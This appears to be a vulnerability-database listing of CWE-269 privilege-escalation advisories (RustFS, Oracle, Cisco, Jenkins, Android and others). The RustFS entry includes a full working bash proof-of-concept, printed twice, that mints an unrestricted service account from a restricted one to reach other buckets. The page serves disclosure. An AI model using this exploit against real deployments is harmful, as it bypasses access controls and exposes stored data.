CWE-269
DiscouragedImproper Privilege Management
Abstraction: Class · Status: Draft
The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.
6879 vulnerabilities reference this CWE, most recent first.
GHSA-XGR5-QC6W-VCG9
Vulnerability from github – Published: 2026-01-08 20:40 – Updated: 2026-01-08 20:40Summary
A flawed deny_only short-circuit in RustFS IAM allows a restricted service account or STS credential to self-issue an unrestricted service account, inheriting the parent’s full privileges. This enables privilege escalation and bypass of session/inline policy restrictions.
Details
akin to MinIO CVE-2025-62506
- Policy evaluation:
Policy::is_allowedreturns true whendeny_only=trueif no explicit Deny is hit, skipping all Allow checks (crates/policy/src/policy/policy.rs:66-74). - Service account creation path sets
deny_only=truewhen the target user equals the caller or its parent (rustfs/src/admin/handlers/service_account.rs:114-127). - Service accounts are created without
session_policyby default, so claims lackSESSION_POLICY_NAME; combined withdeny_only, self-operations are allowed without Allow statements. - Result: a limited service account/STS can create a new service account without policy and obtain the parent’s full rights (even root), bypassing original restrictions.
Key code references:
crates/policy/src/policy/policy.rs(deny_only short-circuit)rustfs/src/admin/handlers/service_account.rs:(deny_only set for self/parent target)crates/iam/src/sys.rs(service account creation defaults, no session_policy)
PoC
Requires awscli, awscurl, jq, RustFS at http://127.0.0.1:9000, root AK/SK rustfsadmin/rustfsadmin. Run:
#!/usr/bin/env bash
set -euo pipefail
# ===================== Config =====================
ENDPOINT="${ENDPOINT:-http://127.0.0.1:9000}"
ROOT_AK="${ROOT_AK:-rustfsadmin}"
ROOT_SK="${ROOT_SK:-rustfsadmin}"
PARENT_AK="${PARENT_AK:-restricted}"
PARENT_SK="${PARENT_SK:-restricted123}"
CHILD_AK="${CHILD_AK:-evilchild}"
CHILD_SK="${CHILD_SK:-evilchild123}"
AWS_REGION="${AWS_REGION:-us-east-1}"
# Tools
AWSCURL_BIN="${AWSCURL_BIN:-$HOME/Library/Python/3.13/bin/awscurl}"
AWS_BIN="${AWS_BIN:-aws}"
JQ_BIN="${JQ_BIN:-jq}"
# Disable proxies for local endpoint
export HTTP_PROXY=
export HTTPS_PROXY=
export NO_PROXY=127.0.0.1,localhost
# ===================== Helpers =====================
aws_cmd() {
local ak="$1" sk="$2"
shift 2
AWS_ACCESS_KEY_ID="$ak" AWS_SECRET_ACCESS_KEY="$sk" "$AWS_BIN" --endpoint-url "$ENDPOINT" "$@"
}
awscurl_admin() {
local ak="$1" sk="$2"
shift 2
AWS_ACCESS_KEY_ID="$ak" AWS_SECRET_ACCESS_KEY="$sk" \
"$AWSCURL_BIN" --service s3 --region "$AWS_REGION" --access_key "$ak" --secret_key "$sk" "$@"
}
timestamp_iso() {
python - <<'PY'
import datetime
print((datetime.datetime.now(datetime.timezone.utc)+datetime.timedelta(hours=1)).isoformat())
PY
}
# ===================== Cleanup =====================
echo "[+] cleanup service accounts (ignore errors)"
for ak in "$CHILD_AK" "$PARENT_AK"; do
awscurl_admin "$ROOT_AK" "$ROOT_SK" -X DELETE "$ENDPOINT/rustfs/admin/v3/delete-service-accounts?accessKey=$ak" >/dev/null 2>&1 || true
done
echo "[+] cleanup buckets"
for b in bucket1 bucket2 bucket3; do
aws_cmd "$ROOT_AK" "$ROOT_SK" s3 rb "s3://$b" --force >/dev/null 2>&1 || true
done
# ===================== Setup =====================
echo "[+] create buckets"
for b in bucket1 bucket2 bucket3; do
aws_cmd "$ROOT_AK" "$ROOT_SK" s3 mb "s3://$b" || true
done
echo "[+] seed bucket3 with marker object"
printf "poc-marker\n" | aws_cmd "$ROOT_AK" "$ROOT_SK" s3 cp - s3://bucket3/poc-marker.txt
EXP="$(timestamp_iso)"
echo "[+] create restricted policy"
RESTRICTED_POLICY='{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["s3:ListBucket"],
"Resource": ["arn:aws:s3:::bucket1", "arn:aws:s3:::bucket2"]
},
{
"Effect": "Allow",
"Action": ["s3:GetObject", "s3:PutObject"],
"Resource": ["arn:aws:s3:::bucket1/*", "arn:aws:s3:::bucket2/*"]
}
]
}'
echo "[+] create restricted service account"
awscurl_admin "$ROOT_AK" "$ROOT_SK" -X PUT "$ENDPOINT/rustfs/admin/v3/add-service-accounts" \
-H 'Content-Type: application/json' \
-d "$("$JQ_BIN" -nc --arg ak "$PARENT_AK" --arg sk "$PARENT_SK" --arg policy "$RESTRICTED_POLICY" --arg exp "$EXP" \
'{accessKey:$ak, secretKey:$sk, policy:$policy, name:"restricted-sa", expiration:$exp}')" \
> /tmp/restricted_sa.json
cat /tmp/restricted_sa.json
echo "[+] list buckets as restricted (expect bucket1,bucket2 only)"
aws_cmd "$PARENT_AK" "$PARENT_SK" s3 ls
echo "[+] create child service account without policy (trigger deny_only)"
awscurl_admin "$PARENT_AK" "$PARENT_SK" -X PUT "$ENDPOINT/rustfs/admin/v3/add-service-accounts" \
-H 'Content-Type: application/json' \
-d "$("$JQ_BIN" -nc --arg ak "$CHILD_AK" --arg sk "$CHILD_SK" --arg exp "$EXP" \
'{accessKey:$ak, secretKey:$sk, name:"child-sa", expiration:$exp}')" \
> /tmp/child_sa.json
cat /tmp/child_sa.json
echo "[+] child tries to list bucket3 (should be denied; success means vuln)"
if aws_cmd "$CHILD_AK" "$CHILD_SK" s3 ls s3://bucket3; then
echo "child list bucket3: SUCCESS (vuln)"
else
echo "child list bucket3: DENIED"
fi
echo "[+] child tries to read marker from bucket3"
if aws_cmd "$CHILD_AK" "$CHILD_SK" s3 cp s3://bucket3/poc-marker.txt /tmp/poc-marker.txt; then
echo "child read marker: SUCCESS (vuln). Content:"
cat /tmp/poc-marker.txt
else
echo "child read marker: DENIED"
fi
echo "[+] child tries to write new object into bucket3"
if printf "child-write\n" | aws_cmd "$CHILD_AK" "$CHILD_SK" s3 cp - s3://bucket3/child-write.txt; then
echo "child write: SUCCESS (vuln)"
else
echo "child write: DENIED"
fi
PoC steps (in poc.sh):
1) Cleanup old test accounts/buckets; create bucket1/2/3; seed bucket3 with poc-marker.txt.
2) Create restricted policy (List/Get/Put only on bucket1/2).
3) Create restricted service account restricted/restricted123 with that policy.
4) With restricted, create child service account evilchild/evilchild123 without policy (deny_only short-circuit).
5) With evilchild, list bucket3 and read/write objects (expected to be denied; success demonstrates vuln). Script prints SUCCESS/DENIED.
Result:
./poc.sh
[+] cleanup service accounts (ignore errors)
[+] cleanup buckets
[+] create buckets
make_bucket: bucket1
make_bucket: bucket2
make_bucket: bucket3
[+] seed bucket3 with marker object
[+] create restricted policy
[+] create restricted service account
{"credentials":{"accessKey":"restricted","secretKey":"restricted123","expiration":"2025-12-16T11:51:18.049076Z"}}
[+] list buckets as restricted (expect bucket1,bucket2 only)
2025-12-16 18:51:16 bucket1
2025-12-16 18:51:16 bucket2
[+] create child service account without policy (trigger deny_only)
{"credentials":{"accessKey":"evilchild","secretKey":"evilchild123","expiration":"2025-12-16T11:51:18.049076Z"}}
[+] child tries to list bucket3 (should be denied; success means vuln)
2025-12-16 18:51:17 11 poc-marker.txt
child list bucket3: SUCCESS (vuln)
[+] child tries to read marker from bucket3
download: s3://bucket3/poc-marker.txt to ../../../../../tmp/poc-marker.txt
child read marker: SUCCESS (vuln). Content:
poc-marker
[+] child tries to write new object into bucket3
child write: SUCCESS (vuln)
Impact
Privilege escalation / authorization bypass. Any holder of a restricted service account or STS credential can mint an unrestricted service account and gain parent-level (up to root) access across S3/Admin/KMS operations. High risk to confidentiality and integrity.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.0.0-alpha.78"
},
"package": {
"ecosystem": "crates.io",
"name": "rustfs"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0-alpha.13"
},
{
"fixed": "1.0.0-alpha.79"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-22043"
],
"database_specific": {
"cwe_ids": [
"CWE-269"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-08T20:40:06Z",
"nvd_published_at": "2026-01-08T15:15:45Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nA flawed `deny_only` short-circuit in RustFS IAM allows a restricted service account or STS credential to self-issue an unrestricted service account, inheriting the parent\u2019s full privileges. This enables privilege escalation and bypass of session/inline policy restrictions.\n\n## Details\n\n**akin to MinIO CVE-2025-62506**\n\n- Policy evaluation: `Policy::is_allowed` returns true when `deny_only=true` if no explicit Deny is hit, skipping all Allow checks (`crates/policy/src/policy/policy.rs:66-74`).\n- Service account creation path sets `deny_only=true` when the target user equals the caller or its parent (`rustfs/src/admin/handlers/service_account.rs:114-127`).\n- Service accounts are created without `session_policy` by default, so claims lack `SESSION_POLICY_NAME`; combined with `deny_only`, self-operations are allowed without Allow statements.\n- Result: a limited service account/STS can create a new service account without policy and obtain the parent\u2019s full rights (even root), bypassing original restrictions.\n\nKey code references:\n\n- `crates/policy/src/policy/policy.rs` (deny_only short-circuit)\n- `rustfs/src/admin/handlers/service_account.rs:` (deny_only set for self/parent target)\n- `crates/iam/src/sys.rs` (service account creation defaults, no session_policy)\n\n## PoC\n\nRequires `awscli`, `awscurl`, `jq`, RustFS at `http://127.0.0.1:9000`, root AK/SK `rustfsadmin/rustfsadmin`. Run:\n\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\n# ===================== Config =====================\nENDPOINT=\"${ENDPOINT:-http://127.0.0.1:9000}\"\nROOT_AK=\"${ROOT_AK:-rustfsadmin}\"\nROOT_SK=\"${ROOT_SK:-rustfsadmin}\"\nPARENT_AK=\"${PARENT_AK:-restricted}\"\nPARENT_SK=\"${PARENT_SK:-restricted123}\"\nCHILD_AK=\"${CHILD_AK:-evilchild}\"\nCHILD_SK=\"${CHILD_SK:-evilchild123}\"\nAWS_REGION=\"${AWS_REGION:-us-east-1}\"\n\n# Tools\nAWSCURL_BIN=\"${AWSCURL_BIN:-$HOME/Library/Python/3.13/bin/awscurl}\"\nAWS_BIN=\"${AWS_BIN:-aws}\"\nJQ_BIN=\"${JQ_BIN:-jq}\"\n\n# Disable proxies for local endpoint\nexport HTTP_PROXY=\nexport HTTPS_PROXY=\nexport NO_PROXY=127.0.0.1,localhost\n\n# ===================== Helpers =====================\naws_cmd() {\n local ak=\"$1\" sk=\"$2\"\n shift 2\n AWS_ACCESS_KEY_ID=\"$ak\" AWS_SECRET_ACCESS_KEY=\"$sk\" \"$AWS_BIN\" --endpoint-url \"$ENDPOINT\" \"$@\"\n}\n\nawscurl_admin() {\n local ak=\"$1\" sk=\"$2\"\n shift 2\n AWS_ACCESS_KEY_ID=\"$ak\" AWS_SECRET_ACCESS_KEY=\"$sk\" \\\n \"$AWSCURL_BIN\" --service s3 --region \"$AWS_REGION\" --access_key \"$ak\" --secret_key \"$sk\" \"$@\"\n}\n\ntimestamp_iso() {\n python - \u003c\u003c\u0027PY\u0027\nimport datetime\nprint((datetime.datetime.now(datetime.timezone.utc)+datetime.timedelta(hours=1)).isoformat())\nPY\n}\n\n# ===================== Cleanup =====================\necho \"[+] cleanup service accounts (ignore errors)\"\nfor ak in \"$CHILD_AK\" \"$PARENT_AK\"; do\n awscurl_admin \"$ROOT_AK\" \"$ROOT_SK\" -X DELETE \"$ENDPOINT/rustfs/admin/v3/delete-service-accounts?accessKey=$ak\" \u003e/dev/null 2\u003e\u00261 || true\ndone\n\necho \"[+] cleanup buckets\"\nfor b in bucket1 bucket2 bucket3; do\n aws_cmd \"$ROOT_AK\" \"$ROOT_SK\" s3 rb \"s3://$b\" --force \u003e/dev/null 2\u003e\u00261 || true\ndone\n\n# ===================== Setup =====================\necho \"[+] create buckets\"\nfor b in bucket1 bucket2 bucket3; do\n aws_cmd \"$ROOT_AK\" \"$ROOT_SK\" s3 mb \"s3://$b\" || true\ndone\n\necho \"[+] seed bucket3 with marker object\"\nprintf \"poc-marker\\n\" | aws_cmd \"$ROOT_AK\" \"$ROOT_SK\" s3 cp - s3://bucket3/poc-marker.txt\n\nEXP=\"$(timestamp_iso)\"\n\necho \"[+] create restricted policy\"\nRESTRICTED_POLICY=\u0027{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Effect\": \"Allow\",\n \"Action\": [\"s3:ListBucket\"],\n \"Resource\": [\"arn:aws:s3:::bucket1\", \"arn:aws:s3:::bucket2\"]\n },\n {\n \"Effect\": \"Allow\",\n \"Action\": [\"s3:GetObject\", \"s3:PutObject\"],\n \"Resource\": [\"arn:aws:s3:::bucket1/*\", \"arn:aws:s3:::bucket2/*\"]\n }\n ]\n}\u0027\n\necho \"[+] create restricted service account\"\nawscurl_admin \"$ROOT_AK\" \"$ROOT_SK\" -X PUT \"$ENDPOINT/rustfs/admin/v3/add-service-accounts\" \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \"$(\"$JQ_BIN\" -nc --arg ak \"$PARENT_AK\" --arg sk \"$PARENT_SK\" --arg policy \"$RESTRICTED_POLICY\" --arg exp \"$EXP\" \\\n \u0027{accessKey:$ak, secretKey:$sk, policy:$policy, name:\"restricted-sa\", expiration:$exp}\u0027)\" \\\n \u003e /tmp/restricted_sa.json\ncat /tmp/restricted_sa.json\n\necho \"[+] list buckets as restricted (expect bucket1,bucket2 only)\"\naws_cmd \"$PARENT_AK\" \"$PARENT_SK\" s3 ls\n\necho \"[+] create child service account without policy (trigger deny_only)\"\nawscurl_admin \"$PARENT_AK\" \"$PARENT_SK\" -X PUT \"$ENDPOINT/rustfs/admin/v3/add-service-accounts\" \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \"$(\"$JQ_BIN\" -nc --arg ak \"$CHILD_AK\" --arg sk \"$CHILD_SK\" --arg exp \"$EXP\" \\\n \u0027{accessKey:$ak, secretKey:$sk, name:\"child-sa\", expiration:$exp}\u0027)\" \\\n \u003e /tmp/child_sa.json\ncat /tmp/child_sa.json\n\necho \"[+] child tries to list bucket3 (should be denied; success means vuln)\"\nif aws_cmd \"$CHILD_AK\" \"$CHILD_SK\" s3 ls s3://bucket3; then\n echo \"child list bucket3: SUCCESS (vuln)\"\nelse\n echo \"child list bucket3: DENIED\"\nfi\n\necho \"[+] child tries to read marker from bucket3\"\nif aws_cmd \"$CHILD_AK\" \"$CHILD_SK\" s3 cp s3://bucket3/poc-marker.txt /tmp/poc-marker.txt; then\n echo \"child read marker: SUCCESS (vuln). Content:\"\n cat /tmp/poc-marker.txt\nelse\n echo \"child read marker: DENIED\"\nfi\n\necho \"[+] child tries to write new object into bucket3\"\nif printf \"child-write\\n\" | aws_cmd \"$CHILD_AK\" \"$CHILD_SK\" s3 cp - s3://bucket3/child-write.txt; then\n echo \"child write: SUCCESS (vuln)\"\nelse\n echo \"child write: DENIED\"\nfi\n\n```\n\nPoC steps (in `poc.sh`):\n\n1) Cleanup old test accounts/buckets; create bucket1/2/3; seed bucket3 with `poc-marker.txt`.\n2) Create restricted policy (List/Get/Put only on bucket1/2).\n3) Create restricted service account `restricted/restricted123` with that policy.\n4) With `restricted`, create child service account `evilchild/evilchild123` **without policy** (deny_only short-circuit).\n5) With `evilchild`, list bucket3 and read/write objects (expected to be denied; success demonstrates vuln). Script prints SUCCESS/DENIED.\n\nResult:\n\n```text\n./poc.sh\n[+] cleanup service accounts (ignore errors)\n[+] cleanup buckets\n[+] create buckets\nmake_bucket: bucket1\nmake_bucket: bucket2\nmake_bucket: bucket3\n[+] seed bucket3 with marker object\n[+] create restricted policy\n[+] create restricted service account\n{\"credentials\":{\"accessKey\":\"restricted\",\"secretKey\":\"restricted123\",\"expiration\":\"2025-12-16T11:51:18.049076Z\"}}\n[+] list buckets as restricted (expect bucket1,bucket2 only)\n2025-12-16 18:51:16 bucket1\n2025-12-16 18:51:16 bucket2\n[+] create child service account without policy (trigger deny_only)\n{\"credentials\":{\"accessKey\":\"evilchild\",\"secretKey\":\"evilchild123\",\"expiration\":\"2025-12-16T11:51:18.049076Z\"}}\n[+] child tries to list bucket3 (should be denied; success means vuln)\n2025-12-16 18:51:17 11 poc-marker.txt\nchild list bucket3: SUCCESS (vuln)\n[+] child tries to read marker from bucket3\ndownload: s3://bucket3/poc-marker.txt to ../../../../../tmp/poc-marker.txt\nchild read marker: SUCCESS (vuln). Content:\npoc-marker\n[+] child tries to write new object into bucket3\nchild write: SUCCESS (vuln)\n```\n\n## Impact\n\nPrivilege escalation / authorization bypass. Any holder of a restricted service account or STS credential can mint an unrestricted service account and gain parent-level (up to root) access across S3/Admin/KMS operations. High risk to confidentiality and integrity.",
"id": "GHSA-xgr5-qc6w-vcg9",
"modified": "2026-01-08T20:40:06Z",
"published": "2026-01-08T20:40:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/rustfs/rustfs/security/advisories/GHSA-xgr5-qc6w-vcg9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22043"
},
{
"type": "PACKAGE",
"url": "https://github.com/rustfs/rustfs"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "RustFS has IAM deny_only Short-Circuit that Allows Privilege Escalation via Service Account Minting"
}
GHSA-XGRF-RHVW-H8MR
Vulnerability from github – Published: 2023-02-09 18:30 – Updated: 2025-03-25 15:31The multi-screen collaboration module has a privilege escalation vulnerability. Successful exploitation of this vulnerability may affect data confidentiality.
{
"affected": [],
"aliases": [
"CVE-2022-48286"
],
"database_specific": {
"cwe_ids": [
"CWE-269",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-02-09T17:15:00Z",
"severity": "HIGH"
},
"details": "The multi-screen collaboration module has a privilege escalation vulnerability. Successful exploitation of this vulnerability may affect data confidentiality.",
"id": "GHSA-xgrf-rhvw-h8mr",
"modified": "2025-03-25T15:31:12Z",
"published": "2023-02-09T18:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-48286"
},
{
"type": "WEB",
"url": "https://consumer.huawei.com/en/support/bulletin/2023/2"
},
{
"type": "WEB",
"url": "https://device.harmonyos.com/en/docs/security/update/security-bulletins-202302-0000001454769474"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XGV2-553F-QG32
Vulnerability from github – Published: 2026-08-18 21:33 – Updated: 2026-08-18 21:33Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.25.0.000. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Hyperion Financial Management as well as unauthorized update, insert or delete access to some of Oracle Hyperion Financial Management accessible data and unauthorized read access to a subset of Oracle Hyperion Financial Management accessible data. CVSS 3.1 Base Score 6.4 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H).
{
"affected": [],
"aliases": [
"CVE-2026-71090"
],
"database_specific": {
"cwe_ids": [
"CWE-269",
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-18T21:18:09Z",
"severity": "MODERATE"
},
"details": "Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.25.0.000. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Hyperion Financial Management as well as unauthorized update, insert or delete access to some of Oracle Hyperion Financial Management accessible data and unauthorized read access to a subset of Oracle Hyperion Financial Management accessible data. CVSS 3.1 Base Score 6.4 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H).",
"id": "GHSA-xgv2-553f-qg32",
"modified": "2026-08-18T21:33:58Z",
"published": "2026-08-18T21:33:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-71090"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cspuaug2026.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XGWM-9VR8-389W
Vulnerability from github – Published: 2022-05-24 17:47 – Updated: 2023-12-29 21:30Diagnostics Hub Standard Collector Service Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021-28313, CVE-2021-28321.
{
"affected": [],
"aliases": [
"CVE-2021-28322"
],
"database_specific": {
"cwe_ids": [
"CWE-269"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-04-13T20:15:00Z",
"severity": "HIGH"
},
"details": "Diagnostics Hub Standard Collector Service Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021-28313, CVE-2021-28321.",
"id": "GHSA-xgwm-9vr8-389w",
"modified": "2023-12-29T21:30:41Z",
"published": "2022-05-24T17:47:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-28322"
},
{
"type": "WEB",
"url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-28322"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/162251/Microsoft-DiagHub-Privilege-Escalation.html"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2021/Apr/40"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XGXC-M69W-GG4W
Vulnerability from github – Published: 2026-07-23 00:31 – Updated: 2026-07-23 00:31Vulnerability in the Oracle Platform Security for Java product of Oracle Fusion Middleware (component: Centralized Thirdparty Jars). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Platform Security for Java. While the vulnerability is in Oracle Platform Security for Java, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle Platform Security for Java. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).
{
"affected": [],
"aliases": [
"CVE-2026-60369"
],
"database_specific": {
"cwe_ids": [
"CWE-269"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-22T23:16:36Z",
"severity": "CRITICAL"
},
"details": "Vulnerability in the Oracle Platform Security for Java product of Oracle Fusion Middleware (component: Centralized Thirdparty Jars). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Platform Security for Java. While the vulnerability is in Oracle Platform Security for Java, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle Platform Security for Java. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).",
"id": "GHSA-xgxc-m69w-gg4w",
"modified": "2026-07-23T00:31:29Z",
"published": "2026-07-23T00:31:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-60369"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujul2026.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XH6V-CV6C-VGP6
Vulnerability from github – Published: 2022-05-24 17:20 – Updated: 2022-05-24 17:20In onCreateSliceProvider of KeyguardSliceProvider.java, there is a possible confused deputy due to a PendingIntent error. This could lead to local escalation of privilege that allows actions performed as the System UI, with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-10Android ID: A-147606347
{
"affected": [],
"aliases": [
"CVE-2020-0114"
],
"database_specific": {
"cwe_ids": [
"CWE-269"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-06-10T18:15:00Z",
"severity": "HIGH"
},
"details": "In onCreateSliceProvider of KeyguardSliceProvider.java, there is a possible confused deputy due to a PendingIntent error. This could lead to local escalation of privilege that allows actions performed as the System UI, with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-10Android ID: A-147606347",
"id": "GHSA-xh6v-cv6c-vgp6",
"modified": "2022-05-24T17:20:03Z",
"published": "2022-05-24T17:20:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-0114"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2020-06-01"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-XH9C-VCF9-H94M
Vulnerability from github – Published: 2024-05-02 15:30 – Updated: 2024-07-03 20:10Jenkins Git server Plugin 114.v068a_c7cc2574 and earlier does not perform a permission check for read access to a Git repository over SSH.
This allows attackers with a previously configured SSH public key but lacking Overall/Read permission to access Git repositories.
Git server Plugin 117.veb_68868fa_027 requires Overall/Read permission to access Git repositories over SSH.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.jenkins-ci.plugins:git-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "117.veb"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-34146"
],
"database_specific": {
"cwe_ids": [
"CWE-269"
],
"github_reviewed": true,
"github_reviewed_at": "2024-05-03T20:16:28Z",
"nvd_published_at": "2024-05-02T14:15:10Z",
"severity": "MODERATE"
},
"details": "Jenkins Git server Plugin 114.v068a_c7cc2574 and earlier does not perform a permission check for read access to a Git repository over SSH.\n\nThis allows attackers with a previously configured SSH public key but lacking Overall/Read permission to access Git repositories.\n\nGit server Plugin 117.veb_68868fa_027 requires Overall/Read permission to access Git repositories over SSH.",
"id": "GHSA-xh9c-vcf9-h94m",
"modified": "2024-07-03T20:10:32Z",
"published": "2024-05-02T15:30:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-34146"
},
{
"type": "WEB",
"url": "https://www.jenkins.io/security/advisory/2024-05-02/#SECURITY-3342"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2024/05/02/3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Jenkins Git server Plugin does not perform a permission check"
}
GHSA-XH9Q-385R-J657
Vulnerability from github – Published: 2023-09-07 21:30 – Updated: 2024-01-25 18:30A vulnerability in the Embedded Service Router (ESR) of Cisco ISE could allow an authenticated, local attacker to read, write, or delete arbitrary files on the underlying operating system and escalate their privileges to root. To exploit this vulnerability, an attacker must have valid Administrator-level privileges on the affected device. This vulnerability is due to improper privilege management in the ESR console. An attacker could exploit this vulnerability by sending a crafted request to an affected device. A successful exploit could allow the attacker to elevate their privileges to root and read, write, or delete arbitrary files from the underlying operating system of the affected device. Note: The ESR is not enabled by default and must be licensed. To verify the status of the ESR in the Admin GUI, choose Administration > Settings > Protocols > IPSec.
{
"affected": [],
"aliases": [
"CVE-2023-20193"
],
"database_specific": {
"cwe_ids": [
"CWE-269",
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-09-07T20:15:07Z",
"severity": "MODERATE"
},
"details": "A vulnerability in the Embedded Service Router (ESR) of Cisco ISE could allow an authenticated, local attacker to read, write, or delete arbitrary files on the underlying operating system and escalate their privileges to root. To exploit this vulnerability, an attacker must have valid Administrator-level privileges on the affected device. This vulnerability is due to improper privilege management in the ESR console. An attacker could exploit this vulnerability by sending a crafted request to an affected device. A successful exploit could allow the attacker to elevate their privileges to root and read, write, or delete arbitrary files from the underlying operating system of the affected device. Note: The ESR is not enabled by default and must be licensed. To verify the status of the ESR in the Admin GUI, choose Administration \u003e Settings \u003e Protocols \u003e IPSec.",
"id": "GHSA-xh9q-385r-j657",
"modified": "2024-01-25T18:30:43Z",
"published": "2023-09-07T21:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-20193"
},
{
"type": "WEB",
"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ise-priv-esc-KJLp2Aw"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XHF6-WFVJ-5F9P
Vulnerability from github – Published: 2022-05-24 17:42 – Updated: 2022-05-24 17:42Racom's MIDGE Firmware 4.4.40.105 contains an issue that allows for privilege escalation via configd.
{
"affected": [],
"aliases": [
"CVE-2021-20075"
],
"database_specific": {
"cwe_ids": [
"CWE-269"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-02-16T20:15:00Z",
"severity": "HIGH"
},
"details": "Racom\u0027s MIDGE Firmware 4.4.40.105 contains an issue that allows for privilege escalation via configd.",
"id": "GHSA-xhf6-wfvj-5f9p",
"modified": "2022-05-24T17:42:20Z",
